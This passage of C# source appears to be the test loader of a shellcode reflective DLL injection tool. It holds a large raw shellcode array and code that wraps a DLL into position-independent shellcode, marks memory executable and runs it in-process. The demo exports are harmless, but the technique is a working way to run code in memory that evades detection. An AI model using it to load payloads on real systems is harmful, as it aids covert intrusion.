48,0x03,0xF3,0x8B,0x46,0x0C,0x85,0xC0,0x0F,0x84,0xB1,0x00,0x00,0x00,0x8B,0x7D,0xC0,0x8B,0xC8,0x48,0x03,0xCB,0xFF,0x55,0xF8,0x48,0x89,0x44,0x24,0x38,0x4C,0x8B,0xD0,0x44,0x8B,0x36,0x44,0x8B,0x7E,0x10,0x4C,0x03,0xF3,0x4C,0x03,0xFB,0x49,0x8B,0x0E,0x48,0x85,0xC9,0x74,0x5F,0x48,0x85,0xC9,0x79,0x08,0x45,0x0F,0xB7,0x06,0x33,0xD2,0xEB,0x32,0x48,0x8D,0x53,0x02,0x33,0xC0,0x48,0x03,0xD1,0x38,0x02,0x74,0x0E,0x48,0x8B,0xCA,0x48,0xFF,0xC1,0x48,0xFF,0xC0,0x80,0x39,0x00,0x75,0xF5,0x48,0x89,0x54,0x24,0x30,0x45,0x33,0xC0,0x48,0x8D,0x54,0x24,0x28,0x66,0x89,0x44,0x24,0x28,0x66,0x89,0x44,0x24,0x2A,0x4D,0x8B,0xCF,0x49,0x8B,0xCA,0xFF,0x55,0xD0,0x49,0x83,0xC6,0x08,0x49,0x83,0xC7,0x08,0x49,0x8B,0x0E,0x48,0x85,0xC9,0x74,0x07,0x4C,0x8B,0x54,0x24,0x38,0xEB,0xA1,0x45,0x33,0xFF,0x85,0xFF,0x74,0x10,0x41,0x83,0xFD,0x01,0x76,0x0A,0x41,0x69,0xCC,0xE8,0x03,0x00,0x00,0xFF,0x55,0xF0,0x8B,0x46,0x20,0x48,0x83,0xC6,0x14,0x85,0xC0,0x0F,0x85,0x56,0xFF,0xFF,0xFF,0x48,0x8B,0x7D,0x30,0x4C,0x8B,0x6D,0xD0,0x44,0x39,0xBF,0xF4,0x00,0x00,0x00,0x0F,0x84,0xA9,0x00,0x00,0x00,0x44,0x8B,0xBF,0xF0,0x00,0x00,0x00,0x49,0x83,0xC7,0x04,0x4C,0x03,0xFB,0x45,0x33,0xE4,0x41,0x8B,0x07,0x85,0xC0,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0xC8,0x48,0x03,0xCB,0xFF,0x55,0xF8,0x48,0x89,0x44,0x24,0x38,0x48,0x8B,0xC8,0x41,0x8B,0x77,0x08,0x45,0x8B,0x77,0x0C,0x48,0x03,0xF3,0x4C,0x03,0xF3,0x4C,0x39,0x26,0x74,0x5E,0x49,0x8B,0x16,0x48,0x85,0xD2,0x79,0x08,0x44,0x0F,0xB7,0xC2,0x33,0xD2,0xEB,0x34,0x4C,0x8D,0x43,0x02,0x49,0x8B,0xC4,0x4C,0x03,0xC2,0x45,0x38,0x20,0x74,0x0E,0x49,0x8B,0xD0,0x48,0xFF,0xC2,0x48,0xFF,0xC0,0x44,0x38,0x22,0x75,0xF5,0x4C,0x89,0x44,0x24,0x30,0x48,0x8D,0x54,0x24,0x28,0x45,0x33,0xC0,0x66,0x89,0x44,0x24,0x28,0x66,0x89,0x44,0x24,0x2A,0x4C,0x8B,0xCE,0x41,0xFF,0xD5,0x48,0x83,0xC6,0x08,0x49,0x83,0xC6,0x08,0x4C,0x39,0x26,0x74,0x07,0x48,0x8B,0x4C,0x24,0x38,0xEB,0xA2,0x49,0x83,0xC7,0x20,0xE9,0x6B,0xFF,0xFF,0xFF,0x45,0x33,0xFF,0x0F,0xB7,0x77,0x14,0x45,0x8B,0xF7,0x48,0x83,0xC6,0x28,0x41,0xBC,0x01,0x00,0x00,0x00,0x66,0x44,0x3B,0x7F,0x06,0x0F,0x83,0x0B,0x01,0x00,0x00,0x48,0x03,0xF7,0x44,0x39,0x3E,0x0F,0x84,0xEB,0x00,0x00,0x00,0x8B,0x46,0x14,0x8B,0xC8,0x81,0xE1,0x00,0x00,0x00,0x20,0x75,0x17,0x0F,0xBA,0xE0,0x1E,0x72,0x11,0x85,0xC0,0x78,0x0D,0x45,0x8B,0xC4,0x44,0x89,0x64,0x24,0x20,0xE9,0xA4,0x00,0x00,0x00,0x85,0xC9,0x75,0x3C,0x0F,0xBA,0xE0,0x1E,0x72,0x0A,0x85,0xC0,0x79,0x06,0x44,0x8D,0x41,0x08,0xEB,0x68,0x85,0xC9,0x75,0x28,0x0F,0xBA,0xE0,0x1E,0x73,0x0A,0x85,0xC0,0x78,0x06,0x44,0x8D,0x41,0x02,0xEB,0x54,0x85,0xC9,0x75,0x14,0x0F,0xBA,0xE0,0x1E,0x73,0x0A,0x85,0xC0,0x79,0x06,0x44,0x8D,0x41,0x04,0xEB,0x40,0x85,0xC9,0x74,0x5F,0x0F,0xBA,0xE0,0x1E,0x72,0x0C,0x85,0xC0,0x78,0x08,0x41,0xB8,0x10,0x00,0x00,0x00,0xEB,0x2A,0x85,0xC9,0x74,0x49,0x0F,0xBA,0xE0,0x1E,0x72,0x0C,0x85,0xC0,0x79,0x08,0x41,0xB8,0x80,0x00,0x00,0x00,0xEB,0x14,0x85,0xC9,0x74,0x33,0x0F,0xBA,0xE0,0x1E,0x73,0x11,0x85,0xC0,0x78,0x0D,0x41,0xB8,0x20,0x00,0x00,0x00,0x44,0x89,0x44,0x24,0x20,0xEB,0x21,0x85,0xC9,0x74,0x18,0x0F,0xBA,0xE0,0x1E,0x73,0x12,0x44,0x8B,0x44,0x24,0x20,0x85,0xC0,0xB9,0x40,0x00,0x00,0x00,0x44,0x0F,0x48,0xC1,0xEB,0xDD,0x44,0x8B,0x44,0x24,0x20,0xF7,0x46,0x14,0x00,0x00,0x00,0x04,0x74,0x0A,0x41,0x0F,0xBA,0xE8,0x09,0x44,0x89,0x44,0x24,0x20,0x8B,0x4E,0xFC,0x4C,0x8D,0x4C,0x24,0x20,0x8B,0x16,0x48,0x03,0xCB,0xFF,0x55,0x00,0x0F,0xB7,0x47,0x06,0x45,0x03,0xF4,0x48,0x83,0xC6,0x28,0x44,0x3B,0xF0,0x0F,0x82,0xF8,0xFE,0xFF,0xFF,0x45,0x33,0xC0,0x33,0xD2,0x48,0x83,0xC9,0xFF,0xFF,0x55,0x08,0x44,0x39,0xBF,0xD4,0x00,0x00,0x00,0x74,0x24,0x8B,0x87,0xD0,0x00,0x00,0x00,0x48,0x8B,0x74,0x18,0x18,0xEB,0x0F,0x45,0x33,0xC0,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x48,0x8D,0x76,0x08,0x48,0x8B,0x06,0x48,0x85,0xC0,0x75,0xE9,0x4C,0x8B,0x4D,0x18,0x4D,0x85,0xC9,0x74,0x2F,0x8B,0x87,0xA4,0x00,0x00,0x00,0x85,0xC0,0x74,0x25,0x8B,0xC8,0x4C,0x8B,0xC3,0x48,0xB8,0xAB,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0x48,0xF7,0xE1,0x8B,0x8F,0xA0,0x00,0x00,0x00,0x48,0xC1,0xEA,0x03,0x48,0x03,0xCB,0x41,0x2B,0xD4,0x41,0xFF,0xD1,0x8B,0x47,0x28,0x4D,0x8B,0xC4,0x48,0x03,0xC3,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x8B,0xB5,0xB8,0x00,0x00,0x00,0x85,0xF6,0x0F,0x84,0x97,0x00,0x00,0x00,0x44,0x39,0xBF,0x8C,0x00,0x00,0x00,0x0F,0x84,0x8A,0x00,0x00,0x00,0x8B,0x8F,0x88,0x00,0x00,0x00,0x48,0x03,0xCB,0x44,0x8B,0x59,0x18,0x45,0x85,0xDB,0x74,0x78,0x44,0x39,0x79,0x14,0x74,0x72,0x44,0x8B,0x49,0x20,0x41,0x8B,0xFF,0x8B,0x51,0x24,0x4C,0x03,0xCB,0x48,0x03,0xD3,0x45,0x85,0xDB,0x74,0x5D,0x45,0x8B,0x01,0x45,0x8B,0xD7,0x4C,0x03,0xC3,0x74,0x52,0xEB,0x0D,0x0F,0xBE,0xC0,0x44,0x03,0xD0,0x41,0xC1,0xCA,0x0D,0x4D,0x03,0xC4,0x41,0x8A,0x00,0x84,0xC0,0x75,0xEC,0x41,0x3B,0xF2,0x75,0x05,0x48,0x85,0xD2,0x75,0x12,0x41,0x03,0xFC,0x49,0x83,0xC1,0x04,0x48,0x83,0xC2,0x02,0x41,0x3B,0xFB,0x73,0x22,0xEB,0xC3,0x8B,0x41,0x1C,0x0F,0xB7,0x0A,0x48,0x03,0xC3,0x8B,0x95,0xC8,0x00,0x00,0x00,0x44,0x8B,0x04,0x88,0x48,0x8B,0x8D,0xC0,0x00,0x00,0x00,0x4C,0x03,0xC3,0x41,0xFF,0xD0,0x48,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x9C,0x24,0xB0,0x01,0x00,0x00,0x48,0x81,0xC4,0x70,0x01,0x00,0x00,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x5F,0x5E,0x5D,0xC3,0xCC,0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x48,0x89,0x68,0x10,0x48,0x89,0x70,0x18,0x48,0x89,0x78,0x20,0x41,0x56,0x48,0x83,0xEC,0x10,0x65,0x48,0x8B,0x04,0x25,0x60,0x00,0x00,0x00,0x8B,0xE9,0x45,0x33,0xF6,0x48,0x8B,0x50,0x18,0x4C,0x8B,0x4A,0x10,0x4D,0x8B,0x41,0x30,0x4D,0x85,0xC0,0x0F,0x84,0xB3,0x00,0x00,0x00,0x41,0x0F,0x10,0x41,0x58,0x49,0x63,0x40,0x3C,0x41,0x8B,0xD6,0x4D,0x8B,0x09,0xF3,0x0F,0x7F,0x04,0x24,0x46,0x8B,0x9C,0x00,0x88,0x00,0x00,0x00,0x45,0x85,0xDB,0x74,0xD2,0x48,0x8B,0x04,0x24,0x48,0xC1,0xE8,0x10,0x66,0x44,0x3B,0xF0,0x73,0x22,0x48,0x8B,0x4C,0x24,0x08,0x44,0x0F,0xB7,0xD0,0x0F,0xBE,0x01,0xC1,0xCA,0x0D,0x80,0x39,0x61,0x7C,0x03,0x83,0xC2,0xE0,0x03,0xD0,0x48,0xFF,0xC1,0x49,0x83,0xEA,0x01,0x75,0xE7,0x4F,0x8D,0x14,0x18,0x45,0x8B,0xDE,0x41,0x8B,0x7A,0x20,0x49,0x03,0xF8,0x45,0x39,0x72,0x18,0x76,0x8E,0x8B,0x37,0x41,0x8B,0xDE,0x49,0x03,0xF0,0x48,0x8D,0x7F,0x04,0x0F,0xBE,0x0E,0x48,0xFF,0xC6,0xC1,0xCB,0x0D,0x03,0xD9,0x84,0xC9,0x75,0xF1,0x8D,0x04,0x13,0x3B,0xC5,0x74,0x0E,0x41,0xFF,0xC3,0x45,0x3B,0x5A,0x18,0x72,0xD5,0xE9,0x5E,0xFF,0xFF,0xFF,0x41,0x8B,0x42,0x24,0x43,0x8D,0x0C,0x1B,0x49,0x03,0xC0,0x0F,0xB7,0x14,0x01,0x41,0x8B,0x4A,0x1C,0x49,0x03,0xC8,0x8B,0x04,0x91,0x49,0x03,0xC0,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x5C,0x24,0x20,0x48,0x8B,0x6C,0x24,0x28,0x48,0x8B,0x74,0x24,0x30,0x48,0x8B,0x7C,0x24,0x38,0x48,0x83,0xC4,0x10,0x41,0x5E,0xC3 };
            //MARKER:E
#endif
            var newShellcode = new List<byte>();

            uint dllOffset = 0;

            if (PE.Is64BitDLL(dllBytes))
            {
                var rdiShellcode = rdiShellcode64;
                int bootstrapSize = 64;

                // call next instruction (Pushes next instruction address to stack)
                newShellcode.Add(0xe8);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);

                // Set the offset to our DLL from pop result
                dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length);

                // pop rcx - Capture our current location in memory
                newShellcode.Add(0x59);

                // mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
                newShellcode.Add(0x49);
                newShellcode.Add(0x89);
                newShellcode.Add(0xc8);

                // Setup the location of the DLL into RCX
                // add rcx, <Offset of the DLL>
                newShellcode.Add(0x48);
                newShellcode.Add(0x81);
                newShellcode.Add(0xc1);
                foreach (byte b in BitConverter.GetBytes(dllOffset))
                    newShellcode.Add(b);

                // mov edx, <Hash of function>
                newShellcode.Add(0xba);
                foreach (byte b in BitConverter.GetBytes(functionHash))
                    newShellcode.Add(b);

                // Put the location of our user data in 
                // add r8, <Offset of the DLL> + <Length of DLL>
                newShellcode.Add(0x49);
                newShellcode.Add(0x81);
                newShellcode.Add(0xc0);
                foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length)))
                    newShellcode.Add(b);

                // mov r9d, <Length of User Data>
                newShellcode.Add(0x41);
                newShellcode.Add(0xb9);
                foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
                    newShellcode.Add(b);

                // push rsi - save original value
                newShellcode.Add(0x56);

                // mov rsi, rsp - store our current stack pointer for later
                newShellcode.Add(0x48);
                newShellcode.Add(0x89);
                newShellcode.Add(0xe6);

                // and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
                newShellcode.Add(0x48);
                newShellcode.Add(0x83);
                newShellcode.Add(0xe4);
                newShellcode.Add(0xf0);

                // sub rsp, 0x30 - Create some breathing room on the stack 
                newShellcode.Add(0x48);
                newShellcode.Add(0x83);
                newShellcode.Add(0xec);
                newShellcode.Add(6 * 8); // 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment

                // mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
                newShellcode.Add(0xc7);
                newShellcode.Add(0x44);
                newShellcode.Add(0x24);
                newShellcode.Add(4 * 8);
                foreach (byte b in BitConverter.GetBytes((uint)flags))
                    newShellcode.Add(b);

                // call - Transfer execution to the RDI
                newShellcode.Add(0xe8);
                newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);

                // mov rsp, rsi - Reset our original stack pointer
                newShellcode.Add(0x48);
                newShellcode.Add(0x89);
                newShellcode.Add(0xf4);

                // pop rsi - Put things back where we left them
                newShellcode.Add(0x5e);

                // ret - return to caller
                newShellcode.Add(0xc3);

                // Write the rest of RDI
                foreach (byte b in rdiShellcode)
                    newShellcode.Add(b);

                // Write our DLL
                foreach (byte b in dllBytes)
                    newShellcode.Add(b);

                // Write our userdata
                foreach (byte b in userData)
                    newShellcode.Add(b);

            }
            else // 32 Bit
            {
                var rdiShellcode = rdiShellcode32;
                int bootstrapSize = 49;

                // call next instruction (Pushes next instruction address to stack)
                newShellcode.Add(0xe8);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);

                // Set the offset to our DLL from pop result
                dllOffset = (uint)(bootstrapSize - newShellcode.Count + rdiShellcode.Length);

                // pop eax - Capture our current location in memory
                newShellcode.Add(0x58);

                // push ebp
                newShellcode.Add(0x55);

                // mov ebp, esp
                newShellcode.Add(0x89);
                newShellcode.Add(0xe5);

                // mov edx, eax - copy our location in memory to ebx before we start modifying eax
                newShellcode.Add(0x89);
                newShellcode.Add(0xc2);

                // add eax, <Offset to the DLL>
                newShellcode.Add(0x05);
                foreach (byte b in BitConverter.GetBytes(dllOffset))
                    newShellcode.Add(b);

                // add edx, <Offset to the DLL> + <Size of DLL>
                newShellcode.Add(0x81);
                newShellcode.Add(0xc2);
                foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length)))
                    newShellcode.Add(b);

                // push <Flags>
                newShellcode.Add(0x68);
                foreach (byte b in BitConverter.GetBytes(flags))
                    newShellcode.Add(b);

                // push <Length of User Data>
                newShellcode.Add(0x68);
                foreach (byte b in BitConverter.GetBytes((uint)userData.Length))
                    newShellcode.Add(b);

                // push edx
                newShellcode.Add(0x52);

                // push <hash of function>
                newShellcode.Add(0x68);
                foreach (byte b in BitConverter.GetBytes(functionHash))
                    newShellcode.Add(b);

                // push eax
                newShellcode.Add(0x50);

                // call - Transfer execution to the RDI
                newShellcode.Add(0xe8);
                newShellcode.Add((byte)(bootstrapSize - newShellcode.Count - 4)); // Skip over the remainder of instructions
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);
                newShellcode.Add(0x00);

                // add esp, 0x14
                newShellcode.Add(0x83);
                newShellcode.Add(0xc4);
                newShellcode.Add(0x14);

                // leave
                newShellcode.Add(0xc9);

                // ret - return to caller
                newShellcode.Add(0xc3);

                //Write the rest of RDI
                foreach (byte b in rdiShellcode)
                    newShellcode.Add(b);

                //Write our DLL
                dllBytes[0] = 0x00;
                dllBytes[1] = 0x00;
                foreach (byte b in dllBytes)
                    newShellcode.Add(b);

                //Write our userdata
                foreach (byte b in userData)
                    newShellcode.Add(b);
            }
            
            return newShellcode.ToArray();
        }

        static void Main(string[] args)
        {
            byte[] data = null;
            byte[] userData = System.Text.Encoding.Default.GetBytes("dave\0");

            if (args.Length < 1)
            {
                Console.WriteLine("\n[!] Usage:\n\n\tDotNetLoader.exe <DLL File>\n\tDotNetLoader.exe <Shellcode Bin>");
                return;
            }

            try
            {
                data = System.IO.File.ReadAllBytes(args[0]);
            }
            catch
            {
                Console.WriteLine("\n[!] Failed to load file");
                Environment.Exit(0);
            }

            byte[] shellcode;

            if (data[0] == 'M' && data[1] == 'Z')
            {
                shellcode = ConvertToShellcode(data, HashFunction("SayHello"), userData, 0);

                Console.WriteLine("[+] Converted DLL to shellcode");
            }
            else shellcode = data;

            System.IO.File.WriteAllBytes("C:\\users\\nick\\documents\\projects\\sRDI\\bin\\test.bin", shellcode);

            GCHandle scHandle = GCHandle.Alloc(shellcode, GCHandleType.Pinned);
            IntPtr scPointer = scHandle.AddrOfPinnedObject();
            uint flOldProtect;

            // Only set the first page to RWX
            // This is should sufficiently cover the sRDI shellcode up top
            if (!Native.VirtualProtect(scPointer, (UIntPtr)4096, Native.PAGE_EXECUTE_READWRITE, out flOldProtect))
            {
                Console.WriteLine("[!] Failed to set memory flags");
                return;
            }

            ReflectiveLoader reflectiveLoader = (ReflectiveLoader)Marshal.GetDelegateForFunctionPointer(scPointer, typeof(ReflectiveLoader));

            Console.WriteLine("[+] Executing RDI");

            IntPtr peLocation = reflectiveLoader();

            GC.Collect(); // Verify we haven't broken anything

            IntPtr expFunctionLocation = PE.GetProcAddressR(peLocation, "SayGoodbye");
            if(expFunctionLocation != IntPtr.Zero)
            {
                ExportedFunction exportedFunction = (ExportedFunction)Marshal.GetDelegateForFunctionPointer(expFunctionLocation, typeof(ExportedFunction));
                GCHandle userDataHandle = GCHandle.Alloc(userData, GCHandleType.Pinned);
                IntPtr userDataPointer = userDataHandle.AddrOfPinnedObject();

                Console.WriteLine("[+] Calling exported function");

                exportedFunction(userDataPointer, (uint)userData.Length);
            }
        }
    }
}
